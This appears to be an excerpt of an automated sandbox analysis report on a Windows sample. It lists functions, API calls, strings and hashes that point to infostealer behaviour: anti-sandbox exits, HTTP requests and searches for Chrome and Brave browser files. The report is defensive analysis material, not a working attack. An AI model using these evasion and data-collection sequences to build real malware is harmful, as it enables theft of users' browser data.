Function 004169F0 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 89
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00419860: GetProcAddress.KERNEL32(75900000,00767E58), ref: 004198A1
Part of subcall function 00419860: GetProcAddress.KERNEL32(75900000,00767F18), ref: 004198BA
Part of subcall function 00419860: GetProcAddress.KERNEL32(75900000,00767E88), ref: 004198D2
Part of subcall function 00419860: GetProcAddress.KERNEL32(75900000,00767ED0), ref: 004198EA
Part of subcall function 00419860: GetProcAddress.KERNEL32(75900000,00767EA0), ref: 00419903
Part of subcall function 00419860: GetProcAddress.KERNEL32(75900000,00764E20), ref: 0041991B
Part of subcall function 00419860: GetProcAddress.KERNEL32(75900000,007648E8), ref: 00419933
Part of subcall function 00419860: GetProcAddress.KERNEL32(75900000,00764928), ref: 0041994C
Part of subcall function 00419860: GetProcAddress.KERNEL32(75900000,00767EE8), ref: 00419964
Part of subcall function 00419860: GetProcAddress.KERNEL32(75900000,00767E70), ref: 0041997C
Part of subcall function 00419860: GetProcAddress.KERNEL32(75900000,00792B48), ref: 00419995
Part of subcall function 00419860: GetProcAddress.KERNEL32(75900000,00792C68), ref: 004199AD
Part of subcall function 00419860: GetProcAddress.KERNEL32(75900000,00764A28), ref: 004199C5
Part of subcall function 00419860: GetProcAddress.KERNEL32(75900000,00792B90), ref: 004199DE

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 004011D0: ExitProcess.KERNEL32 ref: 00401211

Part of subcall function 00401160: GetSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,00416A17,00420AEF), ref: 0040116A
Part of subcall function 00401160: ExitProcess.KERNEL32 ref: 0040117E

Part of subcall function 00401110: GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000,?,?,00416A1C), ref: 0040112B
Part of subcall function 00401110: VirtualAllocExNuma.KERNEL32(00000000,?,?,00416A1C), ref: 00401132
Part of subcall function 00401110: ExitProcess.KERNEL32 ref: 00401143

Part of subcall function 00401220: GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 0040123E
Part of subcall function 00401220: __aulldiv.LIBCMT ref: 00401258
Part of subcall function 00401220: __aulldiv.LIBCMT ref: 00401266
Part of subcall function 00401220: ExitProcess.KERNEL32 ref: 00401294

Part of subcall function 00416770: GetUserDefaultLangID.KERNEL32(?,?,00416A26,00420AEF), ref: 00416774

GetUserDefaultLCID.KERNEL32 ref: 00416A26

Part of subcall function 00401190: ExitProcess.KERNEL32 ref: 004011C6

Part of subcall function 00417850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004011B7), ref: 00417880
Part of subcall function 00417850: HeapAlloc.KERNEL32(00000000,?,?,?,004011B7), ref: 00417887
Part of subcall function 00417850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 0041789F

Part of subcall function 004178E0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00416A2B), ref: 00417910
Part of subcall function 004178E0: HeapAlloc.KERNEL32(00000000,?,?,?,00416A2B), ref: 00417917
Part of subcall function 004178E0: GetComputerNameA.KERNEL32(?,00000104), ref: 0041792F

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,00792F70,?,0042110C,?,00000000,?,00421110,?,00000000,00420AEF), ref: 00416ACA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00416AE8
CloseHandle.KERNEL32(00000000), ref: 00416AF9
Sleep.KERNEL32(00001770), ref: 00416B04
CloseHandle.KERNEL32(?,00000000,?,00792F70,?,0042110C,?,00000000,?,00421110,?,00000000,00420AEF), ref: 00416B1A
ExitProcess.KERNEL32 ref: 00416B22

Strings

p/y, xrefs: 00416A51

Memory Dump Source

Source File: 00000000.00000002.2337926836.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2337926836.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_mJXdkcP4Wx.jbxd

Yara matches

Similarity

API ID: AddressProc$Process$Exit$Heap$AllocUserlstrcpy$CloseDefaultEventHandleName__aulldiv$ComputerCreateCurrentGlobalInfoLangMemoryNumaOpenSleepStatusSystemVirtuallstrcatlstrlen
String ID: p/y
API String ID: 3511611419-2423603383
Opcode ID: f2837a91539e1de850f1597d3128a2fe060ecc5e52c57b00c57f058d9a125bb9
Instruction ID: 1c0ff58a553566d9d81a636820be0d4cb73d0efe44d476221655ae408a7450da
Opcode Fuzzy Hash: f2837a91539e1de850f1597d3128a2fe060ecc5e52c57b00c57f058d9a125bb9
Instruction Fuzzy Hash: E1317074940208AADB04FBF2DC56BEE7339AF04344F10042EF102A61D2DF7C6986C6AE

Function 022C003C Relevance: 12.8, APIs: 5, Strings: 2, Instructions: 515
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNEL32(00000000,?,00001000,00000004), ref: 022C024D

Strings

cess, xrefs: 022C018D
kernel32.dll, xrefs: 022C008F, 022C0095

Memory Dump Source

Source File: 00000000.00000002.2338947321.00000000022C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22c0000_mJXdkcP4Wx.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID: cess$kernel32.dll
API String ID: 4275171209-1230238691
Opcode ID: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction ID: 943396e53f6403ba4b32324193a8bb756bb201c4b4056bf6a3ac91a22291b886
Opcode Fuzzy Hash: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction Fuzzy Hash: 49526A74A11229DFDB64CF98C984BACBBB1BF09304F1481E9E54DAB355DB30AA85CF14

Function 004047B0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 60
stringnetworkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

??2@YAPAXI@Z.MSVCRT(00000800), ref: 004047EA
??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404801
??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404818
lstrlenA.KERNEL32(00000000,00000000,0000003C), ref: 00404839
InternetCrackUrlA.WININET(00000000,00000000), ref: 00404849

Strings

<, xrefs: 004047C9

Memory Dump Source

Source File: 00000000.00000002.2337926836.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2337926836.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_mJXdkcP4Wx.jbxd

Yara matches

Similarity

API ID: ??2@$CrackInternetlstrlen
String ID: <
API String ID: 1683549937-4251816714
Opcode ID: 5e0eba31b208d9ca9ca69f5ca1b4b8635b9982c67c18271d081340b0a416118e
Instruction ID: 59ffd934fb977a93d501bba2862ecb1df6a0defd032b503e5e890a78b3955a81
Opcode Fuzzy Hash: 5e0eba31b208d9ca9ca69f5ca1b4b8635b9982c67c18271d081340b0a416118e
Instruction Fuzzy Hash: 712149B5D00219ABDF10DFA5E849BDD7B74FF04320F008229F925A7290EB706A15CF95

Function 00401220 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 41
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 0040123E
__aulldiv.LIBCMT ref: 00401258
__aulldiv.LIBCMT ref: 00401266
ExitProcess.KERNEL32 ref: 00401294

Strings

@, xrefs: 00401233

Memory Dump Source

Source File: 00000000.00000002.2337926836.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2337926836.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_mJXdkcP4Wx.jbxd

Yara matches

Similarity

API ID: __aulldiv$ExitGlobalMemoryProcessStatus
String ID: @
API String ID: 3404098578-2766056989
Opcode ID: e3d9931386e0fa91028f4e7641da7fda79c4023127bcc5196728e9d9e144d5c4
Instruction ID: f2ded3d157cb35307e0b39d430c96622be3dd75f8d5744ac0086d878f352425a
Opcode Fuzzy Hash: e3d9931386e0fa91028f4e7641da7fda79c4023127bcc5196728e9d9e144d5c4
Instruction Fuzzy Hash: 5901FBB0D84308BAEB10DBE4DC49B9EBB78AB15705F20809EE705B62D0D6785585879D

Function 00416AF3 Relevance: 6.0, APIs: 4, Instructions: 30sleepCOMMON

Download Yara Rule

APIs

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,00792F70,?,0042110C,?,00000000,?,00421110,?,00000000,00420AEF), ref: 00416ACA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00416AE8
CloseHandle.KERNEL32(00000000), ref: 00416AF9
Sleep.KERNEL32(00001770), ref: 00416B04
CloseHandle.KERNEL32(?,00000000,?,00792F70,?,0042110C,?,00000000,?,00421110,?,00000000,00420AEF), ref: 00416B1A
ExitProcess.KERNEL32 ref: 00416B22

Memory Dump Source

Source File: 00000000.00000002.2337926836.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2337926836.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_mJXdkcP4Wx.jbxd

Yara matches

Similarity

API ID: CloseEventHandle$CreateExitOpenProcessSleep
String ID:
API String ID: 941982115-0
Opcode ID: 7c87040c747da0acdc92787bbe7dfdf8e9b0063e40ee03b256faf14453658583
Instruction ID: 3c4b1c3760862ff095f4b16c882d5da3ff279df4080b6ba6633acb61265b60b7
Opcode Fuzzy Hash: 7c87040c747da0acdc92787bbe7dfdf8e9b0063e40ee03b256faf14453658583
Instruction Fuzzy Hash: E9F0BE34A84219AFE710EBE0DC06BFE7B35EF04381F11451AF502A11C0CBB8A581D65F

Function 004151F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50COMMON

Download Yara Rule

APIs

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Part of subcall function 00406280: InternetOpenA.WININET(00420DFE,00000001,00000000,00000000,00000000), ref: 004062E1
Part of subcall function 00406280: StrCmpCA.SHLWAPI(?,0079B138), ref: 00406303
Part of subcall function 00406280: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00406335
Part of subcall function 00406280: HttpOpenRequestA.WININET(00000000,GET,?,0079ABA0,00000000,00000000,00400100,00000000), ref: 00406385
Part of subcall function 00406280: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 004063BF
Part of subcall function 00406280: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 004063D1

StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00415228

Strings

ERROR, xrefs: 00415273
ERROR, xrefs: 0041521A

Memory Dump Source

Source File: 00000000.00000002.2337926836.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2337926836.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_mJXdkcP4Wx.jbxd

Yara matches

Similarity

API ID: Internet$HttpOpenRequest$ConnectOptionSendlstrcpy
String ID: ERROR$ERROR
API String ID: 3287882509-2579291623
Opcode ID: 59c2f712046978f996f1235e97a4a9c2f26ee25370e317b3bcc87c900f09e2b2
Instruction ID: 74302943fe5589af4790b43ef38c2dd3b69765dcd24c28c5b90e35499643ece9
Opcode Fuzzy Hash: 59c2f712046978f996f1235e97a4a9c2f26ee25370e317b3bcc87c900f09e2b2
Instruction Fuzzy Hash: 2D113330901008ABCB14FF61DD52AED7338AF50354F90416EF81A5A5D2EF38AB56CA9A

Function 00401190 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 004178E0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00416A2B), ref: 00417910
Part of subcall function 004178E0: HeapAlloc.KERNEL32(00000000,?,?,?,00416A2B), ref: 00417917
Part of subcall function 004178E0: GetComputerNameA.KERNEL32(?,00000104), ref: 0041792F

Part of subcall function 00417850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004011B7), ref: 00417880
Part of subcall function 00417850: HeapAlloc.KERNEL32(00000000,?,?,?,004011B7), ref: 00417887
Part of subcall function 00417850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 0041789F

ExitProcess.KERNEL32 ref: 004011C6

Strings

p/y, xrefs: 00401193
@.y, xrefs: 004011AB

Memory Dump Source

Source File: 00000000.00000002.2337926836.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2337926836.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_mJXdkcP4Wx.jbxd

Yara matches

Similarity

API ID: Heap$Process$AllocName$ComputerExitUser
String ID: @.y$p/y
API String ID: 1004333139-1348988211
Opcode ID: beae5ea4bba28d8bcdb6621297b085ccf5731606b7c52db2eb8bbe7634c0c08e
Instruction ID: 3272f285758621328f1ae990cc0b7bdad84480bea6fe4891c0ce75a2ed71569b
Opcode Fuzzy Hash: beae5ea4bba28d8bcdb6621297b085ccf5731606b7c52db2eb8bbe7634c0c08e
Instruction Fuzzy Hash: 72E0C2B999030123DB0433F2AD0AB6B329D5B0538DF04042EFA08D2252FE2CE84085AE

Function 004178E0 Relevance: 4.5, APIs: 3, Instructions: 40memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00416A2B), ref: 00417910
HeapAlloc.KERNEL32(00000000,?,?,?,00416A2B), ref: 00417917
GetComputerNameA.KERNEL32(?,00000104), ref: 0041792F

Memory Dump Source

Source File: 00000000.00000002.2337926836.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2337926836.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_mJXdkcP4Wx.jbxd

Yara matches

Similarity

API ID: Heap$AllocComputerNameProcess
String ID:
API String ID: 4203777966-0
Opcode ID: 655548885853275668edecfa1cfdfba2d4285fba1d09bdc7eb36c2d1d55ec877
Instruction ID: 452d18c19ae851532a1d010ea63a4611fd0250a2e86211d30d2d96ca9096ca29
Opcode Fuzzy Hash: 655548885853275668edecfa1cfdfba2d4285fba1d09bdc7eb36c2d1d55ec877
Instruction Fuzzy Hash: 220186F1A48204EFD700DF94DD45BAABBB8FB05B11F10425AF545E3280C37859448BA6

Function 00401110 Relevance: 4.5, APIs: 3, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000,?,?,00416A1C), ref: 0040112B
VirtualAllocExNuma.KERNEL32(00000000,?,?,00416A1C), ref: 00401132
ExitProcess.KERNEL32 ref: 00401143

Memory Dump Source

Source File: 00000000.00000002.2337926836.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2337926836.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_mJXdkcP4Wx.jbxd

Yara matches

Similarity

API ID: Process$AllocCurrentExitNumaVirtual
String ID:
API String ID: 1103761159-0
Opcode ID: 3cbd8cc13bf7dc70ab035dff78f9dd202cda3002ce084c09b8f89ce2de56700b
Instruction ID: 516f97497d3ee46bc55051264f2a31c9d8efacdbd59bd60d04d859dfb32d17c4
Opcode Fuzzy Hash: 3cbd8cc13bf7dc70ab035dff78f9dd202cda3002ce084c09b8f89ce2de56700b
Instruction Fuzzy Hash: 76E08674985308FFE7106BE09C0AB0976B9EB05B05F101055F7087A1D0C6B826009699

Function 00769FCE Relevance: 3.0, APIs: 2, Instructions: 41processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 00769FF6
Module32First.KERNEL32(00000000,00000224), ref: 0076A016

Memory Dump Source

Source File: 00000000.00000002.2338357081.0000000000769000.00000040.00000020.00020000.00000000.sdmp, Offset: 00769000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_769000_mJXdkcP4Wx.jbxd

Yara matches

Similarity

API ID: CreateFirstModule32SnapshotToolhelp32
String ID:
API String ID: 3833638111-0
Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction ID: 3bbe555f928dd92594042d93c4e03499a2b4338ff360fa18180512d8aadbd8c6
Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction Fuzzy Hash: 7FF096321007117BD7203BF5988DBAEB6ECAF49725F100529EA47E10C0EBB8EC454A61

Function 022C0E0F Relevance: 3.0, APIs: 2, Instructions: 15COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000400,?,?,022C0223,?,?), ref: 022C0E19
SetErrorMode.KERNEL32(00000000,?,?,022C0223,?,?), ref: 022C0E1E

Memory Dump Source

Source File: 00000000.00000002.2338947321.00000000022C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22c0000_mJXdkcP4Wx.jbxd

Yara matches

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction ID: e9eebe65464639068eaa2685cf01862f011838b8cdadc55a51611b4f7e81d4a0
Opcode Fuzzy Hash: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction Fuzzy Hash: BFD01231155129B7D7003AD4DC09BCD7B1CDF09B66F108011FB0DD9080C770964046E5

Function 004010A0 Relevance: 2.5, APIs: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,17C841C0,00003000,00000004,?,?,?,0040114E,?,?,00416A1C), ref: 004010B3
VirtualFree.KERNEL32(00000000,17C841C0,00008000,00000000,05E69EC0,?,?,?,0040114E,?,?,00416A1C), ref: 004010F7

Memory Dump Source

Source File: 00000000.00000002.2337926836.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2337926836.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_mJXdkcP4Wx.jbxd

Yara matches

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: 8ce35272a596f1cdf5aa55b7e6bb44489e409ba54c945097ad2cb9ba566d6231
Instruction ID: e05e9ea69c75ff17789b13d2c0695db9e8f3777892ad192db41722de5b6306ee
Opcode Fuzzy Hash: 8ce35272a596f1cdf5aa55b7e6bb44489e409ba54c945097ad2cb9ba566d6231
Instruction Fuzzy Hash: F2F052B1681208BBE7109BA4AC49FABB3E8E305B14F301408F500E3380C5319E00CAA4

Function 00769C8D Relevance: 1.3, APIs: 1, Instructions: 48memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,?,00001000,00000040), ref: 00769CDE

Memory Dump Source

Source File: 00000000.00000002.2338357081.0000000000769000.00000040.00000020.00020000.00000000.sdmp, Offset: 00769000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_769000_mJXdkcP4Wx.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction ID: cf9aede9e1be65fd4f904b0b23e4907e43b4c5453c0415338161ea393d01c532
Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction Fuzzy Hash: 57113F79A00208EFDB01DF98C985E98BBF5EF08351F1580A4FA489B362D375EA50DF80

Non-executed Functions

Function 004138B0 Relevance: 49.2, APIs: 21, Strings: 7, Instructions: 250filestringCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 004138CC
FindFirstFileA.KERNEL32(?,?), ref: 004138E3
lstrcatA.KERNEL32(?,?,?,00000104,?,00000104), ref: 00413935
StrCmpCA.SHLWAPI(?,00420F70), ref: 00413947
StrCmpCA.SHLWAPI(?,00420F74), ref: 0041395D
FindNextFileA.KERNEL32(000000FF,?), ref: 00413C67
FindClose.KERNEL32(000000FF), ref: 00413C7C

Strings

%s\%s, xrefs: 00413A6F
!=A, xrefs: 00413C82, 00413C45, 00413B69, 00413909, 00413B6C, 00413C48
%s\%s\%s, xrefs: 00413A4A
p0y, xrefs: 004139A9
%s%s, xrefs: 00413AAD
%s\*, xrefs: 004138C0
%s\%s, xrefs: 0041397A

Memory Dump Source

Source File: 00000000.00000002.2337926836.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2337926836.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_mJXdkcP4Wx.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextlstrcatwsprintf
String ID: !=A$%s%s$%s\%s$%s\%s$%s\%s\%s$%s\*$p0y
API String ID: 1125553467-2659028581
Opcode ID: 147e69476bc17354b056f5ce00ba28a25639a4ba897131371b79271fd6134482
Instruction ID: 6b32dcbabd2ae606338a05af88a65253e6d0136fcb4401239c8972690a9ca057
Opcode Fuzzy Hash: 147e69476bc17354b056f5ce00ba28a25639a4ba897131371b79271fd6134482
Instruction Fuzzy Hash: 45A182B5A40218ABDB20DFA4DC85FEA7379BF45301F04458DB50D96181EB789B84CF66

Function 0040BE70 Relevance: 39.2, APIs: 17, Strings: 5, Instructions: 675fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

FindFirstFileA.KERNEL32(00000000,?,00420B32,00420B2B,00000000,?,?,?,004213F4,00420B2A), ref: 0040BEF5
StrCmpCA.SHLWAPI(?,004213F8), ref: 0040BF4D
StrCmpCA.SHLWAPI(?,004213FC), ref: 0040BF63
FindNextFileA.KERNEL32(000000FF,?), ref: 0040C7BF
FindClose.KERNEL32(000000FF), ref: 0040C7D1

Strings

Google Chrome, xrefs: 0040C634
01y, xrefs: 0040C6CE
Brave, xrefs: 0040C102
\Brave\Preferences, xrefs: 0040C1DB
Preferences, xrefs: 0040C11E

Memory Dump Source

Source File: 00000000.00000002.2337926836.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2337926836.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_mJXdkcP4Wx.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: 01y$Brave$Google Chrome$Preferences$\Brave\Preferences
API String ID: 3334442632-4181439275
Opcode ID: ad623e4dddf2acf3531251e10fe9148c0028cfef02df62942197d5aa38f2a08f
Instruction ID: 2d1308125da8926fdde3e90b6322e2b17ae592ee2aa58173b84b0ef8a3c681e1
Opcode Fuzzy Hash: ad623e4dddf2acf3531251e10fe9148c0028cfef02df62942197d5aa38f2a08f
Instruction Fuzzy Hash: 4E42B871910104ABCB14FB71DD96EED733DAF44304F40456EB50AA60C1EF389B99CBAA

Function 022D3B17 Relevance: 38.8, APIs: 21, Strings: 1, Instructions: 250filestringCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 022D3B33
FindFirstFileA.KERNEL32(?,?), ref: 022D3B4A
lstrcat.KERNEL32(?,?), ref: 022D3B9C
